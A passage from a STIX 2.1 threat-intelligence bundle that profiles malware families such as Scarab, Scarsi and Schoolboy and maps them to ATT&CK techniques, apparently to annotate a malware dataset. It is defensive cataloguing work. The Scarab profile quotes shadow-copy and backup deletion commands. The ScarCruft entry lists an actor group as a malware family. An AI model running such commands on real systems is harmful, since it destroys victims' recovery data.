      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6714e2ce-d083-5040-8945-7eeef826fa3b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scano exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1dd18db4-8f09-5ca9-ad6b-d4954f9fa925",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6714e2ce-d083-5040-8945-7eeef826fa3b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scano exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--68ab6eec-c3d2-53fb-8b4d-52404bcb2ba7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6714e2ce-d083-5040-8945-7eeef826fa3b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scano exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fcabfb40-4a9b-5b1d-a89f-982f5e8b855b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6714e2ce-d083-5040-8945-7eeef826fa3b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scano exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--62bdf7a7-4ad5-5fab-b3ac-eab490b0ba1e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Scar",
      "description": "Trojan:Win32/Scar (cataloged across security telemetry as Trojan.Win32.Scar, Win32/Scar, or Downloader.Scar) is an obfuscated Windows trojan downloader and spyware component. Commonly distributed through phishing emails containing weaponized Microsoft Office attachments, drive-by exploit kit downloads, or bundled within pirated utility installers, Scar executes an evasive multi-step staging sequence. It queries system language and keyboard layouts to avoid detonation in specific regional environments, hooks Win32 API functions dynamically, and establishes persistent registry Run keys. Once active, Scar connects to remote command-and-control servers using encrypted HTTP traffic to receive operational commands, download secondary crimeware binaries, and exfiltrate host reconnaissance telemetry. (Observed samples in benchmark: 984)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Scar",
        "Trojan:Win32/Scar",
        "Trojan.Win32.Scar",
        "Win32/Scar",
        "Downloader.Scar",
        "Scar Trojan",
        "Trojan:Win32/Scar.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Scar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/scar"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41de91b7-b1eb-5949-b8bb-959666078460",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--62bdf7a7-4ad5-5fab-b3ac-eab490b0ba1e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scar exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e5cdb127-4315-51a2-90ed-deecf48195b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--62bdf7a7-4ad5-5fab-b3ac-eab490b0ba1e",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scar exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a7b8212a-a613-5563-8675-b94d3ef1c364",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--62bdf7a7-4ad5-5fab-b3ac-eab490b0ba1e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scar exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bd59bf73-04e7-5456-a741-37aaf316b497",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--62bdf7a7-4ad5-5fab-b3ac-eab490b0ba1e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scar exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--414fc0bf-2d30-5406-9cf2-3b0a40cc8385",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--62bdf7a7-4ad5-5fab-b3ac-eab490b0ba1e",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scar exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a0d93d95-5801-5f17-bf1f-9be30888c6ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Scarab",
      "description": "Scarab (cataloged across security vendors and threat intelligence databases under signatures including Ransom:Win32/Scarab, Trojan-Ransom.Win32.Scarab, and Ransom.Scarab) is a landmark ransomware family first identified in June 2017 that achieved widespread notoriety in November 2017 when the massive Necurs botnet pushed millions of malicious spam emails containing Scarab downloaders. Built using Delphi and C++, Scarab is delivered through 7Zip archives carrying weaponized VBScript downloaders disguised as scanned invoice notifications. Once launched, Scarab elevates privileges, terminates system services, and purges backup repositories by executing vssadmin.exe delete shadows /all /quiet and wbadmin DELETE SYSTEMSTATEBACKUP. The malware rapidly encrypts target files using AES-256 and encrypts the AES keys with an embedded RSA-2048 master public key. Scarab renames locked files with the .scarab extension (or variant tags like .scarab-scrypt) and deposits a ransom note titled 'IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.TXT' detailing Bitcoin ransom instructions. (Observed samples in benchmark: 57)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Scarab",
        "Trojan-Ransom.Win32.Scarab",
        "Ransom.Scarab",
        "Scarab Ransomware",
        "Win32/Scarab"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Scarab",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/scarab"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--324f98b5-e83d-5818-a533-32d6aebb29ed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a0d93d95-5801-5f17-bf1f-9be30888c6ab",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scarab exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--319f5847-1bfc-5011-9d8b-facd3213126f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a0d93d95-5801-5f17-bf1f-9be30888c6ab",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scarab exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--11185db3-287d-5cd3-8a0c-3986d1fa4ffa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a0d93d95-5801-5f17-bf1f-9be30888c6ab",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scarab exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--58285d3e-c475-5b92-9e8c-db49d7342ca5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a0d93d95-5801-5f17-bf1f-9be30888c6ab",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scarab exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ecb72ce3-3dae-552d-bd2a-cd7e725b277d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a0d93d95-5801-5f17-bf1f-9be30888c6ab",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scarab exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a733ddc9-dc5b-5393-8810-a99de46b03c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Scarcruft",
      "description": "<h3>Executive Summary</h3>\nScarCruft (also known widely as APT37, Reaper, or Group123) is a highly capable, state-sponsored Advanced Persistent Threat (APT) group believed to operate out of North Korea. Active since at least 2012, ScarCruft is primarily focused on cyber-espionage and intelligence gathering, specifically targeting South Korean government entities, defectors, journalists, and defense contractors across East Asia and the Middle East.\n\n<h3>Technical Capabilities and Attack Lifecycle</h3>\nScarCruft is known for its agility and rapid adoption of newly disclosed zero-day vulnerabilities (particularly in Adobe Flash and Microsoft Office) to facilitate initial access.\n\nThe group's operational lifecycle is heavily focused on stealth and data extraction:\n<ul>\n<li><strong>Targeted Spear-Phishing:</strong> Campaigns begin with meticulously crafted emails containing weaponized documents relevant to the target's geopolitical interests (e.g., inter-Korean relations). These documents exploit vulnerabilities to silently drop the initial payload.</li>\n<li><strong>Custom Tooling (ROKrat/DogCall):</strong> ScarCruft heavily relies on a custom, sophisticated Remote Access Trojan (RAT) known as ROKrat (or DogCall). This malware is engineered for deep persistence and extensive intelligence gathering, including keystroke logging, audio recording via the microphone, and stealthy screen captures.</li>\n<li><strong>Covert Exfiltration:</strong> To bypass network perimeter defenses, ScarCruft frequently utilizes legitimate cloud services (like Yandex, Dropbox, or pCloud) as their command-and-control (C2) infrastructure. Stolen data is encrypted and silently uploaded to these trusted domains, making the exfiltration traffic incredibly difficult to distinguish from normal user activity.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nA ScarCruft compromise is a severe national security incident. The group's primary objective is the theft of classified political, military, and strategic intelligence, which directly supports the objectives of the North Korean state apparatus.\n\n<h3>Defense and Resilience Strategies</h3>\n<ul>\n<li><strong>Rapid Patch Management:</strong> Because ScarCruft is known to rapidly weaponize zero-day and N-day vulnerabilities, organizations must maintain an aggressive patching cadence for all operating systems and third-party applications (especially Office and browsers).</li>\n<li><strong>Behavioral Analytics and EDR:</strong> Standard antivirus is ineffective against custom ROKrat deployments. Utilize EDR to monitor for anomalous processes spawning from Office applications and unusual, sustained connections to cloud storage APIs.</li>\n<li><strong>Strict Access Controls:</strong> Implement Zero Trust principles, enforcing Multi-Factor Authentication (MFA) and limiting the execution of unauthorized binaries to prevent the malware from establishing a foothold, even if an exploit is successfully triggered.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "APT37",
        "Reaper",
        "Group123",
        "ROKrat"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Scarcruft",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/scarcruft"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2607aa06-b9e0-56e1-8998-cf07dc52fa95",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a733ddc9-dc5b-5393-8810-a99de46b03c9",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scarcruft exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8be4689d-d435-52cd-ba4e-98522513a0ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a733ddc9-dc5b-5393-8810-a99de46b03c9",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scarcruft exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--518e40e2-6189-54b7-a336-29417ed0c6c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1567.002: Exfiltration to Cloud Storage",
      "description": "MITRE ATT&CK Technique T1567.002 (Exfiltration to Cloud Storage) under tactic exfiltration.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1567.002",
          "url": "https://attack.mitre.org/techniques/T1567/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--57a59950-8b56-5421-bbeb-7a5cc2b5703e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a733ddc9-dc5b-5393-8810-a99de46b03c9",
      "target_ref": "attack-pattern--518e40e2-6189-54b7-a336-29417ed0c6c0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scarcruft exhibits technique T1567.002 (Exfiltration to Cloud Storage)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0b6df417-26e8-5e58-85b2-d1aac5473947",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a733ddc9-dc5b-5393-8810-a99de46b03c9",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scarcruft exhibits technique T1125 (Video/Audio Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cab60097-a0f7-57c6-973d-00972cd85895",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a733ddc9-dc5b-5393-8810-a99de46b03c9",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scarcruft exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cfc36a4d-2f2c-56a6-b30d-c1cf7e79de67",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Scarsi",
      "description": "Scarsi (cataloged across security vendors under signatures including Backdoor:Win32/Scarsi, Trojan:Win32/Scarsi, and Win32/Scarsi) is a stealthy Remote Access Trojan (RAT) and persistent backdoor active since 2012. Engineered to facilitate covert corporate infiltration and interactive endpoint surveillance, Scarsi is typically distributed via spearphishing emails containing malicious document attachments or delivered as a secondary payload by web exploit kits. Upon execution, the malware unpacks its heavily obfuscated core binary, drops randomized executables into %APPDATA% or %TEMP% directories, and secures autostart persistence through Windows Registry Run keys (HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run) and hidden scheduled tasks. To evade endpoint detection and bypass host intrusion prevention systems, Scarsi injects its communication modules into legitimate Windows system processes (such as svchost.exe). Once embedded, Scarsi initiates encrypted command-and-control beaconing, providing remote threat actors with interactive command shell access, system profiling, keystroke monitoring, arbitrary file upload/download, and network pivoting capabilities. (Observed samples in benchmark: 133)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Scarsi",
        "Trojan:Win32/Scarsi",
        "Win32/Scarsi",
        "Trojan.Scarsi",
        "Backdoor.Scarsi"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Scarsi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/scarsi"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--618ff19c-19a1-534b-8e11-7e6a7fa27840",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cfc36a4d-2f2c-56a6-b30d-c1cf7e79de67",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scarsi exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6ea2c2cf-d9b9-5397-899c-5b8148022d25",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cfc36a4d-2f2c-56a6-b30d-c1cf7e79de67",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scarsi exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5502159c-66a5-55d1-bf72-b3150042f382",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cfc36a4d-2f2c-56a6-b30d-c1cf7e79de67",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scarsi exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0c5537fb-8ce0-5ada-9fc5-9d252dbb2dc3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cfc36a4d-2f2c-56a6-b30d-c1cf7e79de67",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scarsi exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9604513e-a979-517a-aacd-e0268671f1d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cfc36a4d-2f2c-56a6-b30d-c1cf7e79de67",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Scarsi exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4de967c1-48da-50e5-abf6-a1705d83d8c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Schoolboy",
      "description": "Schoolboy (identified in endpoint telemetry as Ransom:Win32/Schoolboy, Trojan-Ransom.Win32.Schoolboy, and Win32/Schoolboy) is a targeted crypto-ransomware family designed to extort organizations and individual Windows users. Delivered via spearphishing emails carrying malicious document attachments and compromised software downloads, Schoolboy initiates execution by verifying administrative privileges and disabling Windows security features. It traverses mounted local fixed disks, removable drives, and connected network shares, encrypting documents, databases, code repositories, and media files using symmetric AES or ChaCha20 encryption with RSA key protection. Schoolboy executes command-line instructions invoking vssadmin to delete all Volume Shadow Copies and uses bcdedit to disable Windows automated startup recovery. It alters desktop wallpaper to an extortion banner and deposits text ransom notes instructing victims to pay a cryptocurrency ransom for a decryption tool. (Observed samples in benchmark: 21)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Schoolboy",
        "Trojan-Ransom.Win32.Schoolboy",
        "Win32/Schoolboy",
        "Ransom.Schoolboy",
        "Ransom:Win32/Schoolboy.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Schoolboy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/schoolboy"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0b0cef3d-bd73-57a2-9a17-70807b5270a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4de967c1-48da-50e5-abf6-a1705d83d8c5",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Schoolboy exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7111cfa4-80dd-5dd7-87d9-273159cccc1a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4de967c1-48da-50e5-abf6-a1705d83d8c5",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Schoolboy exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b5d0da5c-ae2a-5264-a71b-f0adbe57b68f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4de967c1-48da-50e5-abf6-a1705d83d8c5",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Schoolboy exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cf67c4d6-c2bc-57de-9b91-e2e5dadf3d4d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4de967c1-48da-50e5-abf6-a1705d83d8c5",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Schoolboy exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--625f0037-faf1-541e-963e-82641eee5079",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4de967c1-48da-50e5-abf6-a1705d83d8c5",
      "target_ref": "attack-pattern--2f0c4944-d5ef-5364-9177-53581d27fe40",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Schoolboy exhibits technique T1070.004 (Indicator Removal: File Deletion)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--475e99cf-98a0-5b5f-9f9c-1f518a8a9ddc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Schoolbus",
      "description": "Schoolbus (cataloged across security software as Backdoor:Win32/Schoolbus, Trojan.Win32.Schoolbus, and Backdoor.Schoolbus) is a classic early 2000s Remote Access Trojan created in Microsoft Visual Basic. Developed during the retro Windows backdoor era, Schoolbus operated a dedicated client-server architecture over custom TCP port 2001 (and configurable high-range ports), providing remote attackers with full interactive control over infected workstations. Capabilities included keystroke logging, desktop screen capture, interactive remote shell execution, system rebooting, and unauthorized file system browsing. Schoolbus was commonly distributed through peer-to-peer file sharing networks, IRC chat transfers, and trojanized gaming cracks.",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Schoolbus",
        "Trojan.Win32.Schoolbus",
        "Backdoor.Schoolbus",
        "Win32/Schoolbus.RAT",
        "Schoolbus.Server"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Schoolbus",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/schoolbus"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9a24cc65-c2e5-5b7c-bae4-70ceeda70545",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--475e99cf-98a0-5b5f-9f9c-1f518a8a9ddc",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Schoolbus exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--327765bb-712d-54d7-88e5-d35febfbb4ff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--475e99cf-98a0-5b5f-9f9c-1f518a8a9ddc",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Schoolbus exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1b115cb4-940d-54c8-91be-294c78808845",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--475e99cf-98a0-5b5f-9f9c-1f518a8a9ddc",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
